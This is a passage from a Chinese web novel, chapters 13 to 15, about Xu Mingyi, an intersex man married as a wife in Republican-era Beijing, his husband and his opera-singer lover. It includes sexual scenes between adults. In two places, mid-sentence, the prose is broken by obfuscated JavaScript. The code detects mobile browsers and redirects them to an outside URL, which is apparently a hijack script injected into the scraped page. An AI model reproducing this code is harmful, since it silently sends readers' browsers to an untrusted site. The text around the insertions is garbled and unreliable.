嘴唇将碰未碰,好像下一瞬就要吻上,张靖遥抱着赤条条的许明意,本就乱了心神,现下更是方寸大乱。他脸色微变,手指收紧攥着许明意的胳膊,想将他甩 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可恨谁?许明意不知道,是给了他这副身子的母亲,还是上天,逼他嫁人来四九城受这等屈辱的许家?抑或张靖遥?张家?好像都该恨,便连自己也是该恨的。太多的怨恨积压在心里,攒成了团,小心谨慎地藏着,不敢露出一点让别人察觉,即便夜夜如刀,摧心剖肝,让他无数次自噩梦中惊醒。 直到遇见了闻鹤来。 闻鹤来不嫌他的身子,他不是被所有人厌弃的,至少有人喜欢他,他不是一无是处不当活在这个世上。 张靖遥呢? 张靖遥脑海中一片空白。 他自傲,不和人亲近,即便是当初仰慕付邻春,那也是发乎情止乎于礼,更不要谈亲吻了。压上来的嘴唇超乎张靖遥所想的柔软,他无法想象自己和许明意亲吻,更是从不曾这么想过。此刻许明意吻了上来,张靖遥彻底呆住了。 二人已经做过不知多少回,可亲吻,还是头一遭。 鼻息交错,许明意压着他的嘴唇轻轻蹭了下,张靖遥如梦初醒,惊多怒少,“你放肆——” 话没说完,许明意又堵住了他的嘴唇。 张靖遥:“……” 许明意含糊不清地喃喃道:“大少爷,”他似是情动至极,眼角泛红,道,“你亲亲我好不好?” 他说得好可怜,吐息湿热,张靖遥从未见过许明意这样乞怜的模样。灯火昏暗,许明意发长,散了满背,愈发显得瘦弱堪怜。帐子里气息闷热,张靖遥有些晕眩,攥着许明意手臂的手松了又紧,紧了又松。 过了许久,张靖遥微微松开了许明意的手,许明意高悬着的心落了地,他凑过去讨好地吻着张靖遥的唇。张靖遥比之许明意还生涩,又别扭,这是他一直不喜的妻子。 许明意原也不懂亲吻,是闻鹤来亲自教的,如何动舌头,如何含舔,许明意无疑是个优秀的学生,而今他都用在了张靖遥身上。那尾软红的舌头灵巧地勾缠着张靖遥,风情地摆动着蛇尾,若即若离,忽远忽近。这等事,是男人的本能,开了窍,便不是精通,也能通个五六成。 张靖遥被这唇舌间的热烈缠绵勾得呼吸粗重,太亲近了,也太黏腻,他以为自己会厌恶,可当许明意退出微微喘气时,张靖遥却忍不住反客为主,他扣着许明意的后颈,二人如同一对交颈缠绵的恩爱夫妻,无端让人面红耳赤。张靖遥在这亲吻里迷了神,可下一瞬,许明意却离了开去,他吻了一个空。 这点空,成了点燃枯柴的火星子。这似乎成了一场博弈,许明意孤注一掷,张靖遥却有所掣肘,二人在床上翻滚了几回,最终,许明意占尽上风。 许明意审视着张靖遥那双迷乱的眼睛,漠然地想,他赢了。 欲海浮沉,憎恶也抵不过本能——他人喜恶,不过如此。 13. 第 13 章 张靖遥所有的情事经验都来源于婚后,结婚时,张靖遥本就心怀抗拒,自也不会在这事上花什么心思,甚至对于许明意他都不曾正眼看过,只将这档子事当成任务,草草便罢。他从未想过作为下位者的许明意在这事上是痛苦还是欢愉,于他而言,这都不重要。 许明意也没有反抗过,在张靖遥过往的回忆里,情事中的许明意面目模糊,是瘦弱雪白的身躯——没有悲欢喜怒。 不,张靖遥猛地想起二人结婚当晚,不是这样的,他们办的是老式婚礼,拜过天地,他还挑过许明意的喜帕。 洞房时,许明意曾想替他解衣襟,张靖遥已经记不清许明意那时的神情,只记得他用力甩开了许明意的手。之后便是熄灯,他命令许明意自己脱了下裙,跪趴在铺了桂圆红枣的床上,喜被是红色的,帐子也是红的,愈发衬得撅起的臀白如冬雪。 不喜欢一个人时,纵是一言不发也招人嫌。彼时的张靖遥见了,只是愈发厌烦,觉得许明意下贱卑怯,何及付邻春一分风姿。 细细算来,这还是张靖遥正面看情事中的许明意。 张靖遥从前只觉得许明意寡淡无味,却不知原来他陷入情欲当中是这般模样——他文采斐然,是四九城里出名的笔杆子,这一刻却无法描摹出许明意的艳色。当真是艳色,清隽秀丽的眉眼染上情欲,如凛冬绽开的红梅,艳得惊心,他垂着眼睛,居高临下地俯视着张靖遥,无端让人觉出几分冷意。 张靖遥心脏跳得快,他怔怔地看着许明意,许明意也看着他,看着这个如阴影般笼罩着他的男人,竟是前所未有的冷静。旋即,许明意就支起了身,如骑烈马,许明意骑上张靖遥,凭的是深藏在心底的恨,透着一股子要踩在他身上的狠劲儿。张靖遥和闻鹤来不一样,许明意在闻鹤来身下时不消多想,也无力多想,闻鹤来擅调情,不过几个来回就能让许明意意乱情迷。可许明意无疑是一个极优秀的学生,心思敏感,他想博得闻鹤来的爱,自然无声无息地学着如何讨好取悦闻鹤来。 闻鹤来有所察觉,玩味地笑了笑,再同他欢好时,就多了几分教导的意味——而今许明意将在情夫身上所学的,都用在了他的丈夫身上。张靖遥曾看过蜘蛛结网,就那么小小一只,毫不起眼地藏在檐下吐出一条条纤弱的丝,日复一日,白丝成细网,悄无声息地盘踞在一角。冷不丁的,一只飞虫没留神撞上蛛网,任之挣动四肢,扑扇翅膀也脱身不出了。不知怎的,张靖遥竟想起那只盘踞在蛛网中的蜘蛛,恍惚间他好似也成了那只小飞虫,陷在情欲的密网中不可自拔。 织网的是许明意,他就在一端,冷静地看着他愈陷愈深。 张靖遥有些受挫,又有些恼怒于许明意的风月手段,不甘在情场如此落于下风,尤其是这样一个他没放在眼里的人。似乎是看出了他的恼怒,许明意说:“大少爷不喜欢吗?” 张靖遥喉结艰难地滚动了一下,“不喜欢”三个字说不出口,他用力抓住许明意的手腕抵在床上,“许九娘。” 张靖遥叫着这个名字,咬牙切齿,“你打哪儿学的这些手段?” 许明意喘匀了气息,笑起来,说:“嫁妆画啊,”他反问张靖遥,“大少爷没瞧过吗?” 张靖遥不吭声。 许明意声音喑哑又透着股子风情,耳语一般,缱绻呢喃道:“舒而脱脱兮!无感我帨兮!无使尨也吠!” 张靖遥五岁开蒙,彼时清廷尚在,科举仍存,他自然读过《诗经》,甚至背得滚瓜烂熟。可从未想过,这么一句诗自许明意口中念出来,竟会这般撩拨人心,让张靖遥都有些面红耳赤,“……不知羞耻!” 许明意热乎乎的脸颊在床上磨了磨,慢慢道:“羞耻——脱下衣裳上了床,羞在哪儿,耻又在哪儿?” 张靖遥却无暇多想他那句话,□□逼人,哪还顾得上去咂摸许明意话中的寥落嘲讽。 欲望惑人,仿佛深海中要溺毙的人拼命争夺唯一的一根救命浮木,二人谁都不肯退让。许明意内心深处并不甘就这么被张靖遥掌控,他咬了咬舌尖,竭力迫使自己清醒过来。恍惚间,这里不是情欲满溢的床榻,而是广阔的旷野,日头高,晒得人头晕目眩,许明意在马上颠簸,野马难驯要将他甩落。汗水蛰眼,许明意下意识地攥紧粗糙的缰绳,五脏六腑都似被颠得散了,可他不敢松开,也不想松开,一旦松开,等着他的就是被甩落马下,践踏成齑粉。 二人的呼吸都变得愈发急促,汗水大颗大颗滚落,许明意摩挲着抓住张靖遥的手,将湿漉漉的手指钻入他指缝。张靖遥本该甩开许明意的手,可不知是许明意指尖在发抖,抑或是皮肉相触的触感太过蛊惑人心,他竟扣住了许明意的手。 张靖遥与许明意胸膛相贴,心脏透过皮肉牵引着彼此的震颤,呼吸萦绕,不知怎的,他心中竟无端涌现出几分柔情,和不可言说的羞窘。 二人无话,却都沉浸在自己的思绪里,是再真切不过的同床异梦。 一夜风月。 翌日二人都难得起晚了,张靖遥经了昨夜一出,再看许明意,就有几分微妙的不自在。许明意却一切如常,他在镜子里梳妆,镜中映出衣冠楚楚的张靖遥。 许明意自成了许九娘之后,描眉点妆,于他而言已是寻常事。往日上妆时,许明意麻木而厌倦,上了妆,他就是人人眼中的许九娘,是张家大少奶奶。 许明意的痕迹被彻底抹杀。 而今日,许明意看着镜中人,甚至多了几分审视的闲情。张家是大家,即便他不为张靖遥所喜,送到他面前的一应事物总归是不差的。细细地描了眉,他抬起眼睛,和镜中张靖遥的目光正好对上。许明意慢吞吞地将螺子黛搁下,偏过头,看向张靖遥。 张靖遥不自然地收回目光,轻咳了声,想说点什么,可又不知该说什么。 许明意微微一笑,说:“大少爷今日怎么一直看着我?” 张靖遥没有见他这么笑过,愣了下,抿紧嘴唇,硬邦邦道:“我看你作甚?” 许明意说:“是,大少爷怎么会看我呢?” 张靖遥哑然,道:“你知道便好。” 许明意没有说话,只是看着张靖遥,莫名的,张靖遥竟有些紧张,这实在很古怪,古怪的不止他,还有许明意,张靖遥看了他一眼,便僵硬地扭过了脸,抬腿走出了卧室。 许明意看着张靖遥远去的背影,面上的神色慢慢淡了。 雨下了一夜,天明时方停,许明意看着窗外焕然一新,犹在滴雨珠的绿枝,心中那点将浮起的愉悦如泡沫,慢慢地消散了。 他在床上与张靖遥相争,是一时意气,所有人都要他做许九娘,如傀儡一般承受男人的欲望,为男人生儿育女。偏许明意不愿。张靖遥不想看见他的脸,他就要张靖遥看着他,张靖遥要他乖顺温懦,他偏要骑在他身上——张靖遥败给了男人的欲望,许明意想起了许家的兄长。 他行七,上头有四个哥哥,他们无论嫡庶,都瞧不上他。只因他畸形的身体。 而今许明意想,可他们又比他强在哪儿?只是比他少了一样东西,就合该凌驾于他之上?昔日读书时,他们功课未必有他好,而今老大混迹风月,不思进取,老二几个皆都不成器,许家注定要落败了——若不是许家落魄,他爹和大娘也不会巴巴地将他卖了去填补亏空。 许明意从前从来不敢这样去审视他上头的几位兄长,去审视许家,他怎么配?三纲五常,家族伦理都不会允许他妄议父兄,更遑论是许家生养了他。 可他凭什么不配?不过是一群靠着家族荫蔽,拿着卖他得来的钱财度日的蠹虫。 许明意曾经无比羡慕他们,无他,只因他们是一个健全的男人,他们便能自由出入许家,能得到父亲的正视,能过自己想过的日子。 相较于他们,不,不止是他们,是这世界所有的男人,甚至是女人——所有全乎的人,许明意已经先输了一筹。 可现在,许明意陡然发觉这些男人凭什么高高在上地俯视他?嘲笑他,再以一副高高在上的姿态摆弄他的命运?许家人如此,张靖遥也如此——他想起了张靖遥昨夜的失控,其实他说胜也胜,说没有胜,也确实没什么可喜的。 许明意茫然又失落,像高高扬起的情绪一下子跌落下来,心里空落落的。 这又有什么用呢? 人败给欲望再寻常不过,便是自己,敢说自己不曾败给欲望吗?否则他又怎么会和闻鹤来走到这一步。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887517|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>想起闻鹤来,许明意心里突然涌上一股冲动,他迫切地想见到闻鹤来。 许明意到太平茶楼时,茶楼的茶博士正在擦桌子,楼内客人寥寥,许明意瞧见门口没有挂告示牌,恍然明白,今天闻鹤来不登台。 茶博士眼尖,瞧见许明意,殷勤地迎了上来,“您吉祥啊。” 许明意本想开口询问闻鹤来在不在,可突然想起自己是个“哑巴”,犹豫了一下,朝茶博士点了点头,帷帽也随之一动。 茶博士见他没有进去喝茶的意思,猜出是冲闻鹤来来的,笑道:“您是来找闻爷的?真不巧,这两日都没有闻爷的戏呢。” 许明意抿了抿嘴唇,茶博士说:“您要是寻闻爷有急事,可以上戏班子里去找,或者上闻爷家里去。” “您要是信得过小的,小的给您拿笔墨,替您跑一趟。” 许明意猛地发现,他竟不知闻鹤来的戏班子在何处落脚,更不知他住在哪儿。细细算来,二人虽已经做过许多回,可许明意对闻鹤来依旧知之甚少,便是闻鹤来对他的事情也鲜少过问。 他怅然若失,给了茶博士几个银角子,摆摆手便转身走了。 四九城里下过几日的雨,好不容易天晴,街上行人颇多。民国已有几年,上头的大总统都剪去了辫发,街上仍不发留着辫子的,苦力拉着黄包车匆匆而过,铃声叮叮当当提醒着行人避让。 许明意隔着白色的薄纱,看着街上交织的人流,一时间有些恍惚。 突然,街上传来呼喝声,夹杂着尖锐的口哨声,是巡警在清道。人群一下子涌动起来,许明意回了神,当即随着人潮退向街边。 四九城到底是京都,街道宽敞,衣着肃整的巡警清出了长道,仿佛在等着什么人。 许明意看向街头,耳边传来议论声,“怎么回事,这么大阵仗?” “嘿,听说是阎大帅要进京了。” “哪个阎大帅?” “还能是哪个?能让统领衙门这么看重的,当然只有阎玉山阎大帅了。” “阎大帅不是在虞州吗,好端端的来四九城干什么?”那人道,“你不是瞎说吧?” “哎,你别不信啊,我兄弟可是交通司长家的车夫,他亲口说的,还能有假?再说了,阎大帅那样的大人物,他来四九城干什么哪儿是我们小老百姓知道的。” “哼,甭管干什么,这些军阀,没一个好东西。” “哎呦你可小点儿声,巡警还在呢。” …… 许明意并未听过阎玉山的名头,对这人自也不感兴趣,街上人群拥挤,他有些无措,更不喜欢这样多的人。他正想走,就听有人说,来了,来了,下意识地抬头看了过去,就见街尾出现了黑压压的骑兵,军容整肃,裹挟着沙场征伐而来的血腥气,无端让人觉得胸闷不敢直视。 周遭都似静了下来。骑兵开道,护着当中的两辆轿车,许明意看着那车自面前驶过,透过窗,隐约看见坐在车窗里的男人。 他靠坐着,鼻梁高,下颌棱角分明,不苟言笑,只这侧脸便足以看出不是一个好相与的人。 待这行人走去,巡警也散去了,街道似又活了过来。 那股子压迫感退去,许明意松了口气,身边却吵闹起来,一个说另一个踩着他了,没长眼,另一个却嫌弃对方咄咄逼人,说话难听,推搡起来。 许明意退了几步想远离这个是非之地,没留意,脚下已经踏入一滩水坑里,人也晃了晃,一只手伸了出来,及时抓他的手臂,“小心。” 是闻鹤来。 闻鹤来正皱着眉,将他从水滩里拉了出来,道:“怎么这么不小心?平地里都能踩泥里去。” 许明意看着突然出现的闻鹤来,没来由的,竟生出了一点委屈,“闻鹤来。” 闻鹤来:“嗯?” 二人透过薄纱,目光相对,闻鹤来捏了捏他的手心,无可奈何笑道:“就一句话,怎么还委屈上了。” 许明意没有说话,闻鹤来也不恼,牵着他的手,道:“是不是被刚才的大兵吓着了,是我不好,走吧,咱们先去把脏衣服换了。” 许明意听着他的声音,心意外地平静了下来,应道:“嗯。” 14. 第 14 章 许明意缓过神,这才发现闻鹤来身边还跟了一个中年男人,一身短打,个高壮硕,一身跑江湖的打扮。他也在打量许明意,那双眼睛锐利如鹰,上上下下地审视着许明意,带着十足的压迫。 闻鹤来察觉了许明意的紧张,对那中年男人道:“郑叔,你先回去,我晚上再来找你。” 那叫郑叔的中年男人拧着眉,不赞同地看着二人交握的手,“少爷……” 闻鹤来看着他,面色未改,中年男人只好退了一步,道:“我方才说的,少爷还是好好考虑考虑,我等您的答复。” 闻鹤来应了声,拉着许明意就走了。许明意没有说话,目光却落在握着他手指的手掌,闻鹤来手指修长,掌心宽厚,体温高,牵着他的手时,萦绕在许明意心头的彷徨茫然都如迷雾般被驱散了,可慢慢的,又生出了另一种不安。 少爷。 那个人这么称呼闻鹤来。许明意不认得那个人,可对方身上的肃杀之气不容忽略,他指掌上的老茧,行走的姿态,都足以证明对方是个练家子,和张家的护卫一样。 闻鹤来果然不止是个戏子。 许明意心里浮现不可言说的失落,闻鹤来果然瞒了他许多东西。 闻鹤来就近捡了个酒楼,带着许明意要了一个雅间,他招过小二吩咐了几句,回过头,就见许明意已经摘了帷帽。天气热,帷帽下的脸颊微微泛红,浮了汗,他笑了一下,关上门朝许明意走了过去。 “今日怎么出来了?”闻鹤来问,他按着许明意的肩膀让他坐下,顺势就蹲了下去,说,“鞋子都脏了。” 岂止是脏了,还让污水染透了。 闻鹤来如此体贴,让许明意有些不自在,他将鞋子往裙摆里藏,刚退,就被闻鹤来捉住了小腿,他说:“穿着不难受吗?先脱了,一会儿换干净的。” 许明意抿了抿嘴唇,看着闻鹤来为他除却鞋袜的模样,不由得恍了一下神,开口轻声道:“我是来找你的。” 闻鹤来微怔,许明意垂下脸,看着闻鹤来那双眼睛,说:“我找不到你。” 许明意声音轻,也没有掩盖话里的失落和茫然,这样的情绪,闻鹤来不陌生,他曾经在许多人身上见过。闻鹤来端详着许明意,许明意和那些属意他的人一样,也不一样。他贪恋和不同的人在一起的新鲜感,他们也沉湎于他给的温存和爱,各取所需。许明意比起那些人,更好哄,他天真又身处绝境,丈夫不爱他,没人爱他。 只有自己。 这样的人,只要动了情,就会倾心交付——闻鹤来喜欢这样满溢的爱意,可也不好,断起来麻烦。闻鹤来漫不经心地想,脸上却是一贯的笑意,他将许明意脏了的绣花鞋和袜子都丢在一旁,合掌握住他白生生的脚踝,道:“找我,想我了?” 他调情似的,许明意看着他,那样的眼神,不知怎的看得闻鹤来窒了窒,竟泛起了一丝陌生的涩意。许明意蜷缩着脚趾,轻轻嗯了声。 他太坦诚,太直接,反倒让闻鹤来有一瞬间的怔愣。许明意温软胆怯,心里便是藏着十分想要,也不过展露一两分,何曾这样露骨地袒露自己。闻鹤来探究一般瞧着许明意的神情,凑过去吻他,干燥温热的唇贴了上来,许明意蹭了蹭他,低声叫了句:“闻鹤来。” 闻鹤来:“嗯?” 许明意想,说点什么呢?张靖遥——不合适,他自己都不明白,为什么会在今天就这么冲动地出了府来见闻鹤来。喜欢吗?无疑是喜欢的,可又好像不纯粹是喜欢。问今天那个叫他少爷的人?问闻鹤来住哪儿?好像……也不知从何问起。闻鹤来若是想告诉他,自然会告诉他,如果他不想说,他问来,徒惹难堪。 许明意心里乱,又有股子躁郁,他抬手抱住闻鹤来的脖子,小动物似的伸舌头舔他的嘴唇,身体也往他身上挨——再明晃晃不过的求欢意味。闻鹤来搂着许明意,没有躲避他的吻,许明意的亲吻是他一手教出来的,他还记得头一回亲时,许明意浑身僵硬,舌头也不知所措,浑身都在发抖,如今那条舌头变得柔软多情,反应也不再如过去那般青涩。 一念及此,闻鹤来心头燎起一簇火,有种难以言喻的快慰和满足。 二人吻得难舍难分,突然,门外传来敲门声,是适才离开的小二,在门口道:“闻爷,您要的东西送来了。” 湿漉漉的舌头分开,闻鹤来和许明意都有几分动情,闻鹤来摸了摸他的脸颊,直起身便去了门边。他回来得快,手中拿了一双绣花鞋,和许明意身上相仿的藕荷色阑干裙。许明意双腮泛红,望着他手中的东西,他喜欢闻鹤来的体贴细心,可此刻,不知怎的,许明意心里却不自觉地浮现另一道声音,闻鹤来做得如此熟稔,怕是已经不知道对多少人献过殷勤。他不是第一个,也许……也不会是最后一个。 闻鹤来笑道:“怎么一直这么看着我,”语调一转,吊儿郎当道,“等不及了?” 许明意垂下了眼睛,说:“给我的吗?” 闻鹤来拿绣花鞋在他脚上比划,道:“是啊,这绣花鞋可不好找,得亏现在放足了,不然,只怕今儿就买不着鞋了。” “嚯,正合脚。” 突然,许明意抬脚踩在了闻鹤来的手腕上,闻鹤来挑了挑眉,自下而上地看着许明意,眸色变得深了。 许明意道:“你怎么知道我穿多大的鞋?” “忘了?”闻鹤来笑了声,“咱们头一回见,我不就是捡着了你的鞋?” 许明意不吭声,却也没有收回脚,闻鹤来攥住他的脚掌,哼笑道:“再说了,要是连你多大的脚都不知道,咱俩不是白好一回?” 那个“好”字让许明意恍了一下神,他们现在是相好的,还没等他说话,突然整个人都被闻鹤来抱了起来。闻鹤来兜着他的屁股拍了一记,咬他的嘴唇,含糊不清道:“今儿怎么回事,一直勾我,嗯?” 许明意惊呼了声,闻鹤来的舌头已经侵入了他口中,二人鼻息交错,许明意没答,双腿却勾上了闻鹤来的腰。吻充斥着滚烫的情欲,许明意被闻鹤来压在床上时想,或许这才是对的。许明意今日比以往热情,闻鹤来被撩拨得上火,将手往他裙摆里探,一边吮着他的舌头,许明意也摸索着去解闻鹤来的长衫。突然,许明意低喘一声,双腿夹紧了,身体也绷着,眼眸氤氲泛起了湿意。 闻鹤来手中微顿,剥去了许明意的下裳,吩咐道:“腿打开。” 云雨过后,许明意小声地问闻鹤来,“你是生气了吗?” 闻鹤来看着面颊潮红的许明意,二人满身情欲,身躯贴着,黏腻不堪,可又有种亲密的满足感,也压下了那点嫉妒。闻鹤来说:“气什么?” 许明意抿抿嘴唇,道:“……气我和张靖遥做过,又来找你。” 闻鹤来笑了一下,咬了下他的嘴唇,说:“这不叫生气。” “我是嫉妒,”闻鹤来看着许明意,说,“嫉妒他能时时刻刻都陪着你,可以名正言顺地吻你。” 许明意回去时,想着闻鹤来所说的话,有的时候,即便是假话,也让人忍不住去信,去赌那万分之一的可能——万一是真的。 他走入自己的小院,将摘下帷帽,就对上了一双惊疑不定的眼睛,是申嬷嬷,她正皱着眉,说:“少奶奶什么时候又出去了?” 许明意心中一紧,攥紧帷帽檐,道:“出去走了走。” “我乏了,去睡会儿。” 说罢,他抬腿就走,突然听申嬷嬷说:“少奶奶,你今日出门时,穿的不是这条下裙吧?” 申嬷嬷话一出,许明意一个激灵,说:“下过雨,外出时没留意将衣裙弄脏了,临时在外头买的。” 申嬷嬷将信将疑地看着他,沉声道:“您如今是张家的大少奶奶,成日往外跑,让人瞧见了,还当咱们许家养出的姑娘没规矩,教人看笑话。” 许明意听着她话中倚老卖老的指责语气,攒在心底的郁气登时沸了,他偏过头,看着申嬷嬷,牵了牵唇角,嘲道:“许家的姑娘……嬷嬷莫不是人老健忘,忘了我究竟是谁了?” 申嬷嬷没料到他竟敢还嘴,拧了拧眉毛,提高了嗓音,道:“姑娘还能是谁,自然是许家的九姑娘,张家的大少奶奶。” 许明意转身看着申嬷嬷,波澜不惊地说:“嬷嬷今天和我讲规矩,那我便也和你讲讲规矩。” “无论我今日是许家九姑娘,还是张家的大少奶奶,”许明意轻声说,“我都是主子,你——不过是一个奴才,下人,谁给你的胆子,在我面前放肆?” 申嬷嬷对上许明意那双淡若琉璃的眼睛,竟觉出了几分压迫,她仗着许夫人的势,素来瞧不上许明意这么一个不男不女的东西,更是从来没将他当做主子,她又惊又怒,道:“少奶奶,别忘了,我可是得了夫人吩咐——” “少拿大娘压我,”许明意不耐烦地打断她的话,他冷笑一声,“你要是真在大娘面前得脸,她能把你丢来四九城?” 申嬷嬷脸色一白。 许明意说:“莫说你不得脸,就算你是我大娘的左膀右臂,别忘了,这里是四九城,不是津门。” “我是张家的大少奶奶,打杀一个以下犯上的恶仆,再寻常不过,你说,大娘是会和我这个张家大少奶奶过不去,还是将此事轻轻揭过?” 他语调平静,似是再寻常不过的询问,申嬷嬷如见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许明意想起了他母亲,他娘是妾,病故后葬不进许家陵园,他只能为他娘找风水师傅堪舆,寻了个墓地安葬。他死之后,奸情不曾为人发觉便罢,要是发觉了,大抵当真不会有人为他收尸,张家还会嫌他污了张家门楣,丢去乱葬岗。 许明意胡思乱想,沐浴后愈发疲惫不堪,所幸将自己埋入床榻沉沉睡了过去。 许明意心思重,昏昏沉沉地睡到黄昏时,耳边传来隐约人声才迷迷糊糊睁开眼。没想到,一睁眼就看见了张靖遥,他沉着脸,杵在床边,见许明意醒了,问道:“怎么病了也不知道让人找大夫?” 许明意愣了下,开了口,才发觉声音沙哑,“……病,病了?” 张靖遥想起大夫叮嘱过的,神情有些不自在,是情事上伤着了,兼之郁结于心,又在水中泡了太久,一下子就病了。张靖遥看着许明意泛红的面颊,手指微动,到底是没有伸出去,说:“嗯,发热了。” “大夫开了药,红玉已经去熬了,一会儿将药吃了发发汗。” 许明意算不得健壮,可也没怎么病过,这一病连自己也不曾想到,他下意识地摸了摸自己身上的衣服——好在,还是他今日沐浴后穿在身上的亵衣,当即松了口气。 张靖遥犹豫了一会儿,指了指一旁搁着的小罐子,道:“精神些了自己将药抹了。” 许明意:“……嗯?” “抹什么?”他烧糊涂了,一下子没反应过来,张靖遥的耳朵却红透了,抿了抿嘴唇,故作冷静道:“抹那儿——” 他目光下滑,许明意也反应过来,呆了呆,二人面面相觑,好半晌无言。张靖遥清了清嗓子,想说点什么,可想起昨夜的纵情胡闹,张靖遥难得的生出一点愧疚,却又实在不知如何开口。许明意望见他别扭的神情,隐约猜出到底是因着什么,心里顿时浮现心虚和忐忑,还有些无措。 许明意:“……啊。” 张靖遥别过脸,道:“逞什么强,自讨苦吃。” 许明意看着张靖遥,不知是病得不清醒,竟面无表情地道:“也不是头一回遭罪了,至少昨儿晚上不止是疼。” 张靖遥:“……” 不是头一回遭罪,以前也受过伤?张靖遥愣了下,看着许明意,他病着,黑发柔软,越发显出一股羸弱,看着有些可怜,张靖遥想起二人以往的情事,他即便对这事儿所知不多,可温柔与否却还是知道的。 张靖遥以前对许明意,实在算不上温柔。 许明意又不冷不热地补了一句,“再说,昨天晚上大少爷不是很喜欢吗?” 张靖遥哑然。 15. 第 15 章 许明意这一病,张家二老也知道了,晚膳是下人送去许明意房中的,席间只有张家二老和张靖遥。 用过饭,张靖遥和二老说了声,就要离席去书房,张夫人叫住了他,道:“九娘病了,你这几日别去他房中,免得过了病气。” 张靖遥眉头一拧,道:“我一个大男人,还怕什么病气?何况他不过是得了风寒,吃几帖药就好了。” 张夫人说:“小心些总没坏处。” “娘,”张靖遥皱着眉,他看着面前的妇人,不知为什么,竟觉得他娘这几句话听着刺耳,他道,“许九娘不是你们给我娶的太太吗?他得个风寒,我就避如蛇蝎是什么道理?” 张夫人说:“他是你太太不假,可你的身体要紧,家里下人那么多,还能亏了他不成?”说着,又是一顿,她打量着张靖遥,道,“你不是不喜欢他吗?平日娘让你去他房中你还不情不愿的,如今娘让你别去,不是正合你的意?” 张靖遥噎住,说:“那不是一回事。” “我也没说我要去照顾他,”他面无表情道:“我不喜欢他归我不喜欢,他病了就避之不及,还当咱们张家都是什么薄情寡义之辈。” 说罢,对他爹娘行了一礼就退出了花厅。 张夫人看着张靖遥离去的背影,和张老爷对视一眼,露出若有所思的神情。 出了花厅,张靖遥也回过了神,心下有些懊恼,他娘让他不去看许九娘,他不去便是,更何况,病了就病了,又不说了不得的病,他怎么可能会去照顾许九娘?他真是魔怔了! 张家母子之间的官司许明意不知道,他也无力去多想,吃过药就昏昏欲睡。或许是许明意的敲打见了效,申嬷嬷和红玉照顾起他更见上心,许明意冷眼旁观,也没有多说什么。 许明意这一病就是数日,连着两天都发低烧,病恹恹的。许明意不再出现在张靖遥面前,张靖遥本该觉得自己心里舒坦得很,可不知怎的,那张苍白的脸却总是出现在张靖遥脑海中,以至他这几日都有些心神不定。 这一日,张靖遥回了府,便见许明意身边的红玉送大夫走出拱门,他一怔,想,不过是风寒,还不见好吗?这身子骨也忒弱了,又不是全乎的姑娘——想是这般想,张靖遥在书房里看了半个小时的书,书页不见翻动几页,蓦地想起他新得的铜鎏金珐琅镇尺留在了房中,踌躇片刻,还是朝二人的寝居走去。 申嬷嬷和红玉都在屋外,见了张靖遥,愣了愣,忙向他见礼。张靖遥脸上没什么表情,目光却瞟向还亮着灯的里屋,申嬷嬷思忖着道:“大少奶奶刚服了药……” 张靖遥生硬道:“谁问她了?” “我是来拿新镇尺的。” 说罢,不再看二人,留下面面相觑的申嬷嬷和红玉。直到张靖遥进去了,红玉才小心地问申嬷嬷:“大少爷这是……来看大少奶奶的?” 申嬷嬷眼一瞪,道:“大少爷来干什么,干咱们什么事,当好差便是。” 红玉讷讷应了声,申嬷嬷却又看了看屋子,面上露出若有所思的神情,难怪前两日那般硬气,莫不是因着和大少爷不再如以前那般水火不容了?可那又有什么用,生不出孩子,张家也未必会容他。 张靖遥进了屋子,转过屏风,就见许明意正躺在床上,他侧卧着,双眼紧闭,眉心蹙着,睡不大安稳的模样。张靖遥忍不住看着许明意,这才发觉许明意也忒单薄,因着病清减了,下颌尖,露在外头的那截手腕白而伶仃,透着股子弱不禁风的意味。 他恍了恍神,想,许明意当初嫁给他时也是这般模样吗——张靖遥发觉他竟一下子记不起许明意当初是什么样子了,也对,从来不曾认真看过的人,哪里会记得他的样子。 这么一想,张靖遥发觉他和许明意做了大半年的夫妻,他竟对许明意一无所知。 许明意本就睡得浅,隐隐约约地觉察出有人在看他,他猛地睁开眼,就和张靖遥的目光对了个正着。 四目相对。 许明意还没回过神,张靖遥却绷紧了,嘴唇也抿着,欲盖弥彰道:“我的镇尺留在屋中了。” 许明意这才发觉不是在梦中,他按了按昏沉沉的脑袋,道:“镇尺……”他伸出手指一指,道,“少爷的镇尺收在柜子里了,中间第二格,你看看在不在。” 张靖遥愣了下,心头蹿过一阵难以形容的感觉,他顺着许明意说的,果然寻着了自己收在匣中的镇尺。不止镇尺,里头整整齐齐地放着的,俱都是他带回来随手丢在一旁的东西。 都是许明意帮他收拾的? 张靖遥捏紧了木匣,转过头看着许明意,许明意已经自床上坐了起来,他穿着里衣,长发披散,褪去铅华,那张脸倒是有些雌雄莫辨的意味,说是女人像,可要说是男人,倒也是个俊俏的儿郎。 这么一想,张靖遥心头酥酥麻麻的,过了好一会儿,他清了清嗓子,开口道:“你好些了吗?” 许明意没想到他会丢出这么一句几乎都能算得上是关怀的话,意外地瞧了张靖遥一眼,张靖遥如同踩了尾巴的猫,挺直了身躯,硬邦邦道:“你也算因我受的这无妄之灾——” 许明意心想,因他受的无妄之灾很多,可这一桩,倒也算不到张靖遥身上,他淡淡道:“和大少爷无关。” 许明意不咸不淡的,张靖遥心里却有些不是滋味,可他不惯也不知要如何和许明意相处,更拉不下脸面,干巴巴地杵了一会儿,说:“我走了。” 许明意没说话,也不曾察觉张靖遥的反常,他曾经无比渴望张靖遥能对他多几分温存,后来得不到,失落过,黯然过,便也就不想了。 得不到的东西,多想无益。 